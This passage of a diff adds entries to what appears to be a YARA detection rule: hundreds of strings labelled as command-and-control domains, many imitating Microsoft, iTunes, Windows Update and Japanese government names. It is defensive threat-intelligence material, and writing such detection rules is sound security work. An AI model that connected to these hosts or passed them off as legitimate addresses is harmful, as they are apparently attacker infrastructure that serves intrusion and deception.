+      $c2_270 = "ftp.devilcase.acmetoy.com" ascii
+      $c2_271 = "ftp.disruptive.https443.net" ascii
+      $c2_272 = "ftp.domainnow.yourtrap.com" ascii
+      $c2_273 = "ftp.ea.onmypc.info" ascii
+      $c2_274 = "ftp.ehshiroshima.mylftv.com" ascii
+      $c2_275 = "ftp.eric-averyanov.wha.la" ascii
+      $c2_276 = "ftp.eu.acmetoy.com" ascii
+      $c2_277 = "ftp.eu.wha.la" ascii
+      $c2_278 = "ftp.eu.zzux.com" ascii
+      $c2_279 = "ftp.fbi.sexxxy.biz" ascii
+      $c2_280 = "ftp.file.zzux.com" ascii
+      $c2_281 = "ftp.findme.epac.to" ascii
+      $c2_282 = "ftp.fire.mrface.com" ascii
+      $c2_283 = "ftp.fjs.wikaba.com" ascii
+      $c2_284 = "ftp.fr.wikaba.com" ascii
+      $c2_285 = "ftp.fuck.ikwb.com" ascii
+      $c2_286 = "ftp.fuckmm.dns-dns.com" ascii
+      $c2_287 = "ftp.generat.almostmy.com" ascii
+      $c2_288 = "ftp.goldtoyota.com" ascii
+      $c2_289 = "ftp.goodmusic.justdied.com" ascii
+      $c2_290 = "ftp.helpus.ddns.info" ascii
+      $c2_291 = "ftp.hii.qhigh.com" ascii
+      $c2_292 = "ftp.innocent-isayev.sexidude.com" ascii
+      $c2_293 = "ftp.invoices.sexxxy.biz" ascii
+      $c2_294 = "ftp.iphone.vizvaz.com" ascii
+      $c2_295 = "ftp.itlans.isasecret.com" ascii
+      $c2_296 = "ftp.itunesdownload.jkub.com" ascii
+      $c2_297 = "ftp.itunesdownload.wikaba.com" ascii
+      $c2_298 = "ftp.itunesimages.itemdb.com" ascii
+      $c2_299 = "ftp.itunesimages.itsaol.com" ascii
+      $c2_300 = "ftp.itunesimages.qpoe.com" ascii
+      $c2_301 = "ftp.itunesmirror.fartit.com" ascii
+      $c2_302 = "ftp.itunesmirror.itsaol.com" ascii
+      $c2_303 = "ftp.itunesmusic.ikwb.com" ascii
+      $c2_304 = "ftp.itunesmusic.jetos.com" ascii
+      $c2_305 = "ftp.itunesmusic.jkub.com" ascii
+      $c2_306 = "ftp.itunesmusic.zzux.com" ascii
+      $c2_307 = "ftp.itunesupdate.itsaol.com" ascii
+      $c2_308 = "ftp.itunesupdates.organiccrap.com" ascii
+      $c2_309 = "ftp.japanfilmsite.ikwb.com" ascii
+      $c2_310 = "ftp.jimin.mymom.info" ascii
+      $c2_311 = "ftp.jp.serveuser.com" ascii
+      $c2_312 = "ftp.key.zzux.com" ascii
+      $c2_313 = "ftp.knowledge.sellclassics.com" ascii
+      $c2_314 = "ftp.lan.dynssl.com" ascii
+      $c2_315 = "ftp.latestnews.epac.to" ascii
+      $c2_316 = "ftp.latestnews.organiccrap.com" ascii
+      $c2_317 = "ftp.leedong.longmusic.com" ascii
+      $c2_318 = "ftp.macfee.mrface.com" ascii
+      $c2_319 = "ftp.maffc.mrface.com" ascii
+      $c2_320 = "ftp.malware.dsmtp.com" ascii
+      $c2_321 = "ftp.manager.jetos.com" ascii
+      $c2_322 = "ftp.martin.sellclassics.com" ascii
+      $c2_323 = "ftp.mason.vizvaz.com" ascii
+      $c2_324 = "ftp.mediapath.organiccrap.com" ascii
+      $c2_325 = "ftp.microsoft.got-game.org" ascii
+      $c2_326 = "ftp.microsoft.mrface.com" ascii
+      $c2_327 = "ftp.microsoftimages.organiccrap.com" ascii
+      $c2_328 = "ftp.microsoftmusic.mrbasic.com" ascii
+      $c2_329 = "ftp.microsoftqckmanager.pcanywhere.net" ascii
+      $c2_330 = "ftp.microsoftupdate.mrbasic.com" ascii
+      $c2_331 = "ftp.microsoftupdate.qhigh.com" ascii
+      $c2_332 = "ftp.micrsoftware.dsmtp.com" ascii
+      $c2_333 = "ftp.mircsoft.compress.to" ascii
+      $c2_334 = "ftp.mmy.ddns.us" ascii
+      $c2_335 = "ftp.mod.jetos.com" ascii
+      $c2_336 = "ftp.mofa.dynamic-dns.net" ascii
+      $c2_337 = "ftp.mofa.ns01.info" ascii
+      $c2_338 = "ftp.moscowdic.trickip.org" ascii
+      $c2_339 = "ftp.msg.ezua.com" ascii
+      $c2_340 = "ftp.musicfile.ikwb.com" ascii
+      $c2_341 = "ftp.musicjj.zzux.com" ascii
+      $c2_342 = "ftp.mymusicbox.vizvaz.com" ascii
+      $c2_343 = "ftp.myphpwebsite.itsaol.com" ascii
+      $c2_344 = "ftp.myrestroomimage.isasecret.com" ascii
+      $c2_345 = "ftp.na.americanunfinished.com" ascii
+      $c2_346 = "ftp.na.onmypc.org" ascii
+      $c2_347 = "ftp.newsdata.jkub.com" ascii
+      $c2_348 = "ftp.newsroom.cleansite.info" ascii
+      $c2_349 = "ftp.no.authorizeddns.org" ascii
+      $c2_350 = "ftp.nsa.mefound.com" ascii
+      $c2_351 = "ftp.nt.mynumber.org" ascii
+      $c2_352 = "ftp.nttdata.otzo.com" ascii
+      $c2_353 = "ftp.nz.compress.to" ascii
+      $c2_354 = "ftp.ol.almostmy.com" ascii
+      $c2_355 = "ftp.oracleupdate.dns04.com" ascii
+      $c2_356 = "ftp.portal.mrface.com" ascii
+      $c2_357 = "ftp.portal.sendsmtp.com" ascii
+      $c2_358 = "ftp.portalser.dynamic-dns.net" ascii
+      $c2_359 = "ftp.praskovya-matveyeva.mefound.com" ascii
+      $c2_360 = "ftp.praskovya-ulyanova.dumb1.com" ascii
+      $c2_361 = "ftp.products.almostmy.com" ascii
+      $c2_362 = "ftp.products.cleansite.us" ascii
+      $c2_363 = "ftp.products.serveuser.com" ascii
+      $c2_364 = "ftp.purchase.lflinkup.org" ascii
+      $c2_365 = "ftp.recent.dns-stuff.com" ascii
+      $c2_366 = "ftp.recent.fartit.com" ascii
+      $c2_367 = "ftp.referred.gr8domain.biz" ascii
+      $c2_368 = "ftp.referred.yourtrap.com" ascii
+      $c2_369 = "ftp.register.ourhobby.com" ascii
+      $c2_370 = "ftp.registration2.instanthq.com" ascii
+      $c2_371 = "ftp.registrations.4pu.com" ascii
+      $c2_372 = "ftp.registrations.organiccrap.com" ascii
+      $c2_373 = "ftp.remeberdata.iownyour.org" ascii
+      $c2_374 = "ftp.reserveds.onedumb.com" ascii
+      $c2_375 = "ftp.rethem.almostmy.com" ascii
+      $c2_376 = "ftp.sdmsg.onmypc.org" ascii
+      $c2_377 = "ftp.se.toythieves.com" ascii
+      $c2_378 = "ftp.secertnews.mrbasic.com" ascii
+      $c2_379 = "ftp.senseye.ikwb.com" ascii
+      $c2_380 = "ftp.senseye.mrbonus.com" ascii
+      $c2_381 = "ftp.septdlluckysystem.jungleheart.com" ascii
+      $c2_382 = "ftp.seraphim-yurieva.justdied.com" ascii
+      $c2_383 = "ftp.serv.justdied.com" ascii
+      $c2_384 = "ftp.server1.proxydns.com" ascii
+      $c2_385 = "ftp.seyesb.acmetoy.com" ascii
+      $c2_386 = "ftp.shugiin.jkub.com" ascii
+      $c2_387 = "ftp.singed.otzo.com" ascii
+      $c2_388 = "ftp.sstday.jkub.com" ascii
+      $c2_389 = "ftp.support1.mrface.com" ascii
+      $c2_390 = "ftp.supportus.mefound.com" ascii
+      $c2_391 = "ftp.svc.dynssl.com" ascii
+      $c2_392 = "ftp.synssl.dnset.com" ascii
+      $c2_393 = "ftp.tamraj.fartit.com" ascii
+      $c2_394 = "ftp.tfa.longmusic.com" ascii
+      $c2_395 = "ftp.thunder.wikaba.com" ascii
+      $c2_396 = "ftp.ticket.instanthq.com" ascii
+      $c2_397 = "ftp.ticket.serveuser.com" ascii
+      $c2_398 = "ftp.tokyofile.2waky.com" ascii
+      $c2_399 = "ftp.tophost.dynamicdns.co.uk" ascii
+      $c2_400 = "ftp.transfer.lflinkup.org" ascii
+      $c2_401 = "ftp.transfer.mrbasic.com" ascii
+      $c2_402 = "ftp.transfer.vizvaz.com" ascii
+      $c2_403 = "ftp.ugreen.itemdb.com" ascii
+      $c2_404 = "ftp.uk.dynamicdns.org.uk" ascii
+      $c2_405 = "ftp.un.ddns.info" ascii
+      $c2_406 = "ftp.un.dnsrd.com" ascii
+      $c2_407 = "ftp.usa.itsaol.com" ascii
+      $c2_408 = "ftp.well.itsaol.com" ascii
+      $c2_409 = "ftp.well.mrbasic.com" ascii
+      $c2_410 = "ftp.wike.wikaba.com" ascii
+      $c2_411 = "ftp.windowfile.itemdb.com" ascii
+      $c2_412 = "ftp.windowsimages.itemdb.com" ascii
+      $c2_413 = "ftp.windowsimages.qhigh.com" ascii
+      $c2_414 = "ftp.windowsmirrors.vizvaz.com" ascii
+      $c2_415 = "ftp.windowsupdate.2waky.com" ascii
+      $c2_416 = "ftp.windowsupdate.3-a.net" ascii
+      $c2_417 = "ftp.windowsupdate.authorizeddns.us" ascii
+      $c2_418 = "ftp.windowsupdate.dns05.com" ascii
+      $c2_419 = "ftp.windowsupdate.esmtp.biz" ascii
+      $c2_420 = "ftp.windowsupdate.ezua.com" ascii
+      $c2_421 = "ftp.windowsupdate.fartit.com" ascii
+      $c2_422 = "ftp.windowsupdate.gettrials.com" ascii
+      $c2_423 = "ftp.windowsupdate.instanthq.com" ascii
+      $c2_424 = "ftp.windowsupdate.jungleheart.com" ascii
+      $c2_425 = "ftp.windowsupdate.lflink.com" ascii
+      $c2_426 = "ftp.windowsupdate.mrface.com" ascii
+      $c2_427 = "ftp.windowsupdate.mylftv.com" ascii
+      $c2_428 = "ftp.windowsupdate.rebatesrule.net" ascii
+      $c2_429 = "ftp.windowsupdate.sellclassics.com" ascii
+      $c2_430 = "ftp.windowsupdate.serveusers.com" ascii
+      $c2_431 = "ftp.yandexr.sellclassics.com" ascii
+      $c2_432 = "fu.epac.to" ascii
+      $c2_433 = "fuck.ikwb.com" ascii
+      $c2_434 = "fuckanti.com" ascii
+      $c2_435 = "fuckdd.8800.org" ascii
+      $c2_436 = "fuckmm.8800.org" ascii
+      $c2_437 = "fuckmm.dns-dns.com" ascii
+      $c2_438 = "fukuoka.cloud-maste.com" ascii
+      $c2_439 = "g3ypf.online" ascii
+      $c2_440 = "gadskysun.com" ascii
+      $c2_441 = "gavin.ccfchrist.com" ascii
+      $c2_442 = "generat.almostmy.com" ascii
+      $c2_443 = "generousd.hopto.org" ascii
+      $c2_444 = "gensuzuki.6600.org" ascii
+      $c2_446 = "gh.mysecondarydns.com" ascii
+      $c2_447 = "gifuonlineshopping.mynumber.org" ascii
+      $c2_448 = "glicense.shenajou.com" ascii
+      $c2_449 = "globalnews.wikaba.com" ascii
+      $c2_450 = "gmail.com.mailsserver.com" ascii
+      $c2_451 = "gmpcw.com" ascii
+      $c2_452 = "gold.polopurple.com" ascii
+      $c2_453 = "goldtoyota.com" ascii
+      $c2_454 = "goodmusic.justdied.com" ascii
+      $c2_455 = "goodsampjp.com" ascii
+      $c2_456 = "gooesdataios.instanthq.com" ascii
+      $c2_457 = "google.macforlinux.net" ascii
+      $c2_458 = "google.usrobothome.com" ascii
+      $c2_459 = "googlemeail.com" ascii
+      $c2_460 = "gostudyantivirus.com" ascii
+      $c2_461 = "gostudymbaa.com" ascii
+      $c2_462 = "gotourisma.com" ascii
+      $c2_463 = "gt4study.com" ascii
+      $c2_464 = "gtsofta.com" ascii
+      $c2_465 = "haoyujd.info" ascii
+      $c2_466 = "happy.workerisgood.com" ascii
+      $c2_467 = "have8000.com" ascii
+      $c2_468 = "helpus.ddns.info" ascii
+      $c2_469 = "helshellfucde.8866.org" ascii
+      $c2_470 = "hg8fmv.racing" ascii
+      $c2_471 = "hii.qhigh.com" ascii
+      $c2_472 = "hk.2012yearleft.com" ascii
+      $c2_473 = "hk.cmdnetview.com" ascii
+      $c2_474 = "hk.have8000.com" ascii
+      $c2_475 = "hk.loveddos.com" ascii
+      $c2_476 = "home.trickip.org" ascii
+      $c2_477 = "hostport9.net" ascii
+      $c2_478 = "hotmai.info" ascii
+      $c2_479 = "hotmail.com.mailsserver.com" ascii
+      $c2_480 = "hukuoka.cloud-maste.com" ascii
+      $c2_481 = "iamges.itunesmusic.jkub.com" ascii
+      $c2_482 = "ibmmsg.strangled.net" ascii
+      $c2_483 = "icfeds.cf" ascii
+      $c2_484 = "idpmus.hostport9.net" ascii
+      $c2_486 = "im.suibian2010.info" ascii
+      $c2_487 = "image.websago.info" ascii
+      $c2_488 = "images.itunesmusic.jkub.com" ascii
+      $c2_489 = "images.thedomais.info" ascii
+      $c2_490 = "images.tyoto-go-jp.com" ascii
+      $c2_491 = "images.windowsupdate.organiccrap.com" ascii
+      $c2_492 = "imap.architectisusa.com" ascii
+      $c2_493 = "imap.dnset.com" ascii
+      $c2_494 = "imap.lflink.com" ascii
+      $c2_495 = "imap.onmypc.net" ascii
+      $c2_496 = "imap.ygto.com" ascii
+      $c2_497 = "img.station155.com" ascii
+      $c2_498 = "improvejpese.com" ascii
+      $c2_499 = "incloud-go.com" ascii
+      $c2_500 = "incloud-obert.com" ascii
+      $c2_501 = "ingemar.catholicmmb.com" ascii
+      $c2_502 = "innocent-isayev.sexidude.com" ascii
+      $c2_503 = "innov-tec.com.ua" ascii
+      $c2_504 = "inspgon.re26.com" ascii
+      $c2_505 = "interpreter.shenajou.com" ascii
+      $c2_506 = "invoices.sexxxy.biz" ascii
+      $c2_508 = "iphone.vizvaz.com" ascii
+      $c2_509 = "ipv4.applemusic.itemdb.com" ascii
+      $c2_510 = "ipv4.itunesmusic.jkub.com" ascii
+      $c2_511 = "ipv4.japanenvnews.qpoe.com" ascii
+      $c2_512 = "ipv4.microsoftmusic.onedumb.com" ascii
+      $c2_513 = "ipv4.microsoftupdate.mrbasic.com" ascii
+      $c2_514 = "ipv4.microsoftupdate.qhigh.com" ascii
+      $c2_515 = "ipv4.windowsupdate.3-a.net" ascii
+      $c2_516 = "ipv4.windowsupdate.authorizeddns.org" ascii
+      $c2_517 = "ipv4.windowsupdate.authorizeddns.us" ascii
+      $c2_518 = "ipv4.windowsupdate.dnset.com" ascii
+      $c2_519 = "ipv4.windowsupdate.esmtp.biz" ascii
+      $c2_520 = "ipv4.windowsupdate.ezua.com" ascii
+      $c2_521 = "ipv4.windowsupdate.fartit.com" ascii
+      $c2_522 = "ipv4.windowsupdate.gettrials.com" ascii
+      $c2_523 = "ipv4.windowsupdate.itsaol.com" ascii
+      $c2_524 = "ipv4.windowsupdate.lflink.com" ascii
+      $c2_525 = "ipv4.windowsupdate.lflinkup.com" ascii
+      $c2_526 = "ipv4.windowsupdate.mrface.com" ascii
+      $c2_527 = "ipv4.windowsupdate.mylftv.com" ascii
+      $c2_528 = "ipv4.windowsupdate.nsatcdns.com" ascii
+      $c2_529 = "ipv4.windowsupdate.x24hr.com" ascii
+      $c2_530 = "ipv6microsoft.dlmix.ourdvs.com" ascii
+      $c2_531 = "itlans.isasecret.com" ascii
+      $c2_532 = "itunesdownload.jkub.com" ascii
+      $c2_533 = "itunesdownload.vizvaz.com" ascii
+      $c2_534 = "itunesdownload.wikaba.com" ascii
+      $c2_535 = "itunesimages.itemdb.com" ascii
+      $c2_536 = "itunesimages.itsaol.com" ascii
+      $c2_537 = "itunesimages.qpoe.com" ascii
+      $c2_538 = "itunesmirror.fartit.com" ascii
+      $c2_539 = "itunesmirror.itsaol.com" ascii
+      $c2_540 = "itunesmusic.ikwb.com" ascii
+      $c2_541 = "itunesmusic.jetos.com" ascii
+      $c2_542 = "itunesmusic.jkub.com" ascii
+      $c2_543 = "itunesmusic.zzux.com" ascii
+      $c2_544 = "itunesupdate.itsaol.com" ascii
+      $c2_545 = "itunesupdates.organiccrap.com" ascii
+      $c2_546 = "iw.mrslove.com" ascii
+      $c2_547 = "ixrayeye.com" ascii
+      $c2_548 = "james.tffghelth.com" ascii
+      $c2_549 = "janpan.bigmoney.biz" ascii
+      $c2_550 = "janpun.americanunfinished.com" ascii
+      $c2_551 = "jap.japanmusicinfo.com" ascii
+      $c2_552 = "japan.fuckanti.com" ascii
+      $c2_553 = "japan.linuxforover.com" ascii
+      $c2_554 = "japan.loveddos.com" ascii
+      $c2_555 = "japanenvnews.qpoe.com" ascii
+      $c2_556 = "japanfilmsite.ikwb.com" ascii
+      $c2_557 = "japanfst.japanteam.org" ascii
+      $c2_558 = "japanmusicinfo.com" ascii
+      $c2_559 = "japanteam.org" ascii
+      $c2_560 = "jcie.mofa.ns01.info" ascii
+      $c2_561 = "jepsen.r3u8.com" ascii
+      $c2_562 = "jica-go-jp.bike" ascii
+      $c2_563 = "jica-go-jp.biz" ascii
+      $c2_564 = "jimin-jp.biz" ascii
+      $c2_565 = "jimin.jimindaddy.com" ascii
+      $c2_566 = "jimin.mymom.info" ascii
+      $c2_567 = "jimindaddy.com" ascii
+      $c2_568 = "jimingroup.com" ascii
+      $c2_569 = "jimintokoy.com" ascii
+      $c2_570 = "jj.mysecondarydns.com" ascii
+      $c2_571 = "jmuroran.com" ascii
+      $c2_572 = "jp.rakutenmusic.com" ascii
+      $c2_573 = "jp.serveuser.com" ascii
+      $c2_574 = "jpcert.org" ascii
+      $c2_575 = "jpn.longmusic.com" ascii
+      $c2_576 = "jpnxzshopdata.authorizeddns.org" ascii
+      $c2_577 = "jpstarmarket.serveusers.com" ascii
+      $c2_578 = "kaka.lehigtapp.com" ascii
+      $c2_579 = "kawasaki.cloud-maste.com" ascii
+      $c2_580 = "kawasaki.unhamj.com" ascii
+      $c2_581 = "kennedy.tffghelth.com" ascii
+      $c2_582 = "key.zzux.com" ascii
+      $c2_583 = "kikimusic.sellclassics.com" ascii
+      $c2_584 = "kmd.crabdance.com" ascii
+      $c2_585 = "knowledge.sellclassics.com" ascii
+      $c2_586 = "ktgmktanxgvn.r3u8.com" ascii
+      $c2_587 = "kxsbwappupdate.dhcp.biz" ascii
+      $c2_588 = "kztmusiclnk.dnsrd.com" ascii
+      $c2_589 = "lan.dynssl.com" ascii
+      $c2_590 = "last.p6p6.net" ascii
+      $c2_591 = "latestnews.epac.to" ascii
+      $c2_592 = "latestnews.organiccrap.com" ascii
+      $c2_593 = "leedong.longmusic.com" ascii
+      $c2_594 = "lehigtapp.com" ascii
+      $c2_595 = "lennon.fftpoor.com" ascii
+      $c2_596 = "license.shenajou.com" ascii
+      $c2_597 = "lie.jetos.com" ascii
+      $c2_598 = "linuxforover.com" ascii
+      $c2_599 = "linuxsofta.com" ascii
+      $c2_600 = "lion.wchildress.com" ascii
+      $c2_601 = "lizard.poulsenv.com" ascii
+      $c2_602 = "logon-live.com" ascii
+      $c2_603 = "lottedfstravel.webbooting.com" ascii
+      $c2_604 = "loveddos.com" ascii
+      $c2_605 = "lzf550.r3u8.com" ascii
+      $c2_606 = "ma.vizvaz.com" ascii
+      $c2_607 = "mac.goldtoyota.com" ascii
+      $c2_608 = "mac.methoder.com" ascii
+      $c2_609 = "macfee.mrface.com" ascii
+      $c2_610 = "macforlinux.net" ascii
+      $c2_611 = "maffc.mrface.com" ascii
+      $c2_612 = "mail.architectisusa.com" ascii
+      $c2_613 = "mail.macforlinux.net" ascii
+      $c2_614 = "mailcarriage.co.uk" ascii
+      $c2_615 = "mailj.hostport9.net" ascii
+      $c2_616 = "mailserever.com" ascii
+      $c2_617 = "mailsserver.com" ascii
+      $c2_618 = "mailvserver.com" ascii
+      $c2_619 = "malcolm.fftpoor.com" ascii
+      $c2_620 = "malware.dsmtp.com" ascii
+      $c2_621 = "manager.architectisusa.com" ascii
+      $c2_622 = "manager.jetos.com" ascii
+      $c2_623 = "markabcinfo.dynamicdns.me.uk" ascii
+      $c2_624 = "martin.sellclassics.com" ascii
+      $c2_625 = "mason.vizvaz.com" ascii
+      $c2_626 = "mbaby.macforlinux.net" ascii
+      $c2_627 = "medexplor.thedomais.info" ascii
+      $c2_628 = "mediapath.organiccrap.com" ascii
+      $c2_629 = "meiji-ac-jp.com" ascii
+      $c2_630 = "mesjm.emailfound.info" ascii
+      $c2_631 = "message.emailfound.info" ascii
+      $c2_632 = "message.p6p6.net" ascii
+      $c2_633 = "messagea.emailfound.info" ascii
+      $c2_634 = "methoder.com" ascii
+      $c2_635 = "mf.ddns.info" ascii
+      $c2_636 = "microcnmlgb.3322.org" ascii
+      $c2_637 = "microdef.2288.org" ascii
+      $c2_638 = "microhome.wikaba.com" ascii
+      $c2_639 = "microsoft.got-game.org" ascii
+      $c2_640 = "microsoft.mrface.com" ascii
+      $c2_641 = "microsoftdownload.zzux.com" ascii
+      $c2_642 = "microsoftempowering.sendsmtp.com" ascii
+      $c2_643 = "microsoften.com" ascii
+      $c2_644 = "microsoftgame.mrface.com" ascii
+      $c2_645 = "microsoftgetstarted.sexidude.com" ascii
+      $c2_646 = "microsoftimages.organiccrap.com" ascii
+      $c2_647 = "microsoftmirror.mrbasic.com" ascii
+      $c2_648 = "microsoftmusic.itemdb.com" ascii
+      $c2_649 = "microsoftmusic.mrbasic.com" ascii
+      $c2_650 = "microsoftmusic.onedumb.com" ascii
+      $c2_651 = "microsoftqckmanager.pcanywhere.net" ascii
+      $c2_652 = "microsoftstore.jetos.com" ascii
+      $c2_653 = "microsoftstores.itemdb.com" ascii
+      $c2_654 = "microsoftupdate.mrbasic.com" ascii
+      $c2_655 = "microsoftupdate.qhigh.com" ascii
+      $c2_656 = "microsoftupdates.vizvaz.com" ascii
+      $c2_657 = "micrsoftware.dsmtp.com" ascii
+      $c2_658 = "mircsoft.compress.to" ascii
+      $c2_659 = "mivsee.website0012.net" ascii
+      $c2_660 = "mmofoojap.2288.org" ascii
+      $c2_661 = "mmy.ddns.us" ascii
+      $c2_662 = "mobile.2waky.com" ascii
+      $c2_663 = "mocha.100fanwen.com" ascii
+      $c2_664 = "mod.jetos.com" ascii
+      $c2_665 = "mofa-go-jp.com" ascii
+      $c2_666 = "mofa.dynamic-dns.net" ascii
+      $c2_667 = "mofa.ns01.info" ascii
+      $c2_668 = "mofa.strangled.net" ascii
+      $c2_669 = "mofaess.com" ascii
+      $c2_670 = "mongoles.3322.org" ascii
+      $c2_671 = "monkey.2012yearleft.com" ascii
+      $c2_672 = "moscowstdsupdate.toythieves.com" ascii
+      $c2_673 = "mrsloveaqx.mrslove.com" ascii
+      $c2_674 = "ms.ecc.u-tokyo-ac-jp.com" ascii
+      $c2_675 = "mseupdate.ourhobby.com" ascii
+      $c2_676 = "msg.ezua.com" ascii
+      $c2_677 = "msn.incloud-go.com" ascii
+      $c2_678 = "muller.exprenum.com" ascii
+      $c2_679 = "music.applemusic.itemdb.com" ascii
+      $c2_680 = "music.cleansite.us" ascii
+      $c2_681 = "music.websegoo.net" ascii
+      $c2_682 = "musicfile.ikwb.com" ascii
+      $c2_683 = "musicinfo.everydayfilmlink.com" ascii
+      $c2_684 = "musiclinker.jkub.com" ascii
+      $c2_685 = "musicsecph.squirly.info" ascii
+      $c2_686 = "mx.yetrula.eu" ascii
+      $c2_687 = "myie12.com" ascii
+      $c2_688 = "mymusicbox.lflinkup.org" ascii
+      $c2_689 = "mymusicbox.vizvaz.com" ascii
+      $c2_690 = "myphpwebsite.itsaol.com" ascii
+      $c2_691 = "myrestroomimage.isasecret.com" ascii
+      $c2_692 = "mytwhomeinst.sendsmtp.com" ascii
+      $c2_693 = "myurinikoreaaps.ninth.biz" ascii
+      $c2_694 = "na.americanunfinished.com" ascii
+      $c2_695 = "na.onmypc.org" ascii
+      $c2_696 = "nasa.xxuz.com" ascii
+      $c2_697 = "nec.website0012.net" ascii
+      $c2_698 = "news.100fanwen.com" ascii
+      $c2_699 = "newsdata.jkub.com" ascii
+      $c2_700 = "newsfile.toythieves.com" ascii
+      $c2_701 = "newsreport.justdied.com" ascii
+      $c2_702 = "newsroom.cleansite.info" ascii
+      $c2_703 = "nezwq.ezua.com" ascii
+      $c2_704 = "ngcc.8800.org" ascii
+      $c2_705 = "niushenghuo.info" ascii
+      $c2_706 = "nk10.belowto.com" ascii
+      $c2_707 = "nk20.belowto.com" ascii
+      $c2_708 = "nlddnsinfo.https443.org" ascii
+      $c2_709 = "nmrx.mrbonus.com" ascii
+      $c2_710 = "nn.dynssl.com" ascii
+      $c2_711 = "no.authorizeddns.org" ascii
+      $c2_712 = "node.mofaess.com" ascii
+      $c2_713 = "nodns2.qipian.org" ascii
+      $c2_714 = "nposnewsinfo.qhigh.com" ascii
+      $c2_715 = "ns1.belowto.com" ascii
+      $c2_716 = "ns1.tlchs2.ml" ascii
+      $c2_717 = "ns2.belowto.com" ascii
+      $c2_718 = "ns21.belowto.com" ascii
+      $c2_719 = "ns22.belowto.com" ascii
+      $c2_720 = "ns4.belowto.com" ascii
+      $c2_721 = "ns5.belowto.com" ascii
+      $c2_722 = "nsa.mefound.com" ascii
+      $c2_723 = "nsatcdns.com" ascii
+      $c2_724 = "nt.mynumber.org" ascii
+      $c2_725 = "nttdata.otzo.com" ascii
+      $c2_726 = "nunluck.re26.com" ascii
+      $c2_727 = "nz.compress.to" ascii
+      $c2_728 = "oipbl.com" ascii
+      $c2_729 = "ol.almostmy.com" ascii
+      $c2_730 = "oldbmwy.com" ascii
+      $c2_731 = "oms.sindeali.com" ascii
+      $c2_732 = "openmofa.8866.org" ascii
+      $c2_733 = "oracleupdate.dns04.com" ascii
+      $c2_734 = "osaka-jpgo.com" ascii
+      $c2_735 = "outlook.otzo.com" ascii
+      $c2_736 = "owlmedia.mefound.com" ascii
+      $c2_737 = "p6p6.net" ascii
+      $c2_738 = "peopleinfodata.3-a.net" ascii
+      $c2_739 = "phptecinfohelp.itemdb.com" ascii
+      $c2_740 = "pictures.everydayfilmlink.com" ascii
+      $c2_741 = "pj.qpoe.com" ascii
+      $c2_742 = "points.mofaess.com" ascii
+      $c2_743 = "polopurple.com" ascii
+      $c2_744 = "pop.architectisusa.com" ascii
+      $c2_745 = "pop.loveddos.com" ascii
+      $c2_746 = "portal.mrface.com" ascii
+      $c2_747 = "portal.sendsmtp.com" ascii
+      $c2_748 = "portalser.dynamic-dns.net" ascii
+      $c2_749 = "poulsenv.com" ascii
+      $c2_750 = "praskovya-matveyeva.mefound.com" ascii
+      $c2_751 = "praskovya-ulyanova.dumb1.com" ascii
+      $c2_752 = "premium.redforlinux.com" ascii
+      $c2_753 = "products.almostmy.com" ascii
+      $c2_754 = "products.cleansite.us" ascii
+      $c2_755 = "products.serveuser.com" ascii
+      $c2_756 = "program.acmetoy.com" ascii
+      $c2_757 = "prrmes4019.r3u8.com" ascii
+      $c2_758 = "purchase.lflinkup.org" ascii
+      $c2_759 = "q6.niushenghuo.info" ascii
+      $c2_760 = "qtsofta.com" ascii
+      $c2_761 = "quick.oldbmwy.com" ascii
+      $c2_762 = "r3u8.com" ascii
+      $c2_763 = "radiorig.com" ascii
+      $c2_764 = "rain.orctldl.windowsupdate.authorizeddns.us" ascii
+      $c2_765 = "rakutenmusic.com" ascii
+      $c2_766 = "rdns-4.infoproduto1.tk" ascii
+      $c2_767 = "re26.com" ascii
+      $c2_768 = "read.xxuz.com" ascii
+      $c2_769 = "recent.dns-stuff.com" ascii
+      $c2_770 = "recent.fartit.com" ascii
+      $c2_771 = "record.hostport9.net" ascii
+      $c2_772 = "record.webssl9.info" ascii
+      $c2_773 = "record.wschandler.com" ascii
+      $c2_774 = "redforlinux.com" ascii
+      $c2_775 = "referred.gr8domain.biz" ascii
+      $c2_776 = "referred.yourtrap.com" ascii
+      $c2_777 = "register.ourhobby.com" ascii
+      $c2_778 = "registration2.instanthq.com" ascii
+      $c2_779 = "registrations.4pu.com" ascii
+      $c2_780 = "registrations.organiccrap.com" ascii
+      $c2_781 = "reports.tomorrowforgood.com" ascii
+      $c2_782 = "reserveds.onedumb.com" ascii
+      $c2_783 = "resources.applemusic.itemdb.com" ascii
+      $c2_784 = "rethem.almostmy.com" ascii
+      $c2_785 = "rg197.win" ascii
+      $c2_786 = "rlbeiydn.hi.r3u8.com" ascii
+      $c2_787 = "saiyo.exprenum.com" ascii
+      $c2_788 = "sakai.unhamj.com" ascii
+      $c2_789 = "salvaiona.com" ascii
+      $c2_790 = "sappore.cloud-maste.com" ascii
+      $c2_791 = "sapporo.cloud-maste.com" ascii
+      $c2_792 = "sapporot.com" ascii
+      $c2_793 = "sat.suayay.com" ascii
+      $c2_794 = "saverd.re26.com" ascii
+      $c2_795 = "sbuudd.webssl9.info" ascii
+      $c2_796 = "sc.weboot.info" ascii
+      $c2_797 = "scholz-versand.com" ascii
+      $c2_798 = "scorpion.poulsenv.com" ascii
+      $c2_799 = "scrlk.exprenum.com" ascii
+      $c2_800 = "sdmsg.onmypc.org" ascii
+      $c2_801 = "se.toythieves.com" ascii
+      $c2_802 = "sea.websegoo.net" ascii
+      $c2_803 = "secertnews.mrbasic.com" ascii
+      $c2_804 = "secmicrosooo.6600.org" ascii
+      $c2_805 = "secnetshit.com" ascii
+      $c2_806 = "secserverupdate.toh.info" ascii
+      $c2_807 = "sell.mofaess.com" ascii
+      $c2_808 = "sema.linuxsofta.com" ascii
+      $c2_809 = "send.have8000.com" ascii
+      $c2_810 = "send.mofa.ns01.info" ascii
+      $c2_811 = "sendmsg.jumpingcrab.com" ascii
+      $c2_812 = "senseye.ikwb.com" ascii
+      $c2_813 = "senseye.mrbonus.com" ascii
+      $c2_814 = "septdlluckysystem.jungleheart.com" ascii
+      $c2_815 = "seraphim-yurieva.justdied.com" ascii
+      $c2_816 = "serv.justdied.com" ascii
+      $c2_817 = "server1.proxydns.com" ascii
+      $c2_818 = "seyesb.acmetoy.com" ascii
+      $c2_819 = "sha.25u.com" ascii
+      $c2_820 = "sha.ikwb.com" ascii
+      $c2_821 = "shenajou.com" ascii
+      $c2_822 = "shoppingcentre.station155.com" ascii
+      $c2_823 = "shrimp.UsFfUnicef.com" ascii
+      $c2_824 = "shrimp.bdoncloud.com" ascii
+      $c2_825 = "shugiin.jkub.com" ascii
+      $c2_826 = "sindeali.com" ascii
+      $c2_827 = "singed.otzo.com" ascii
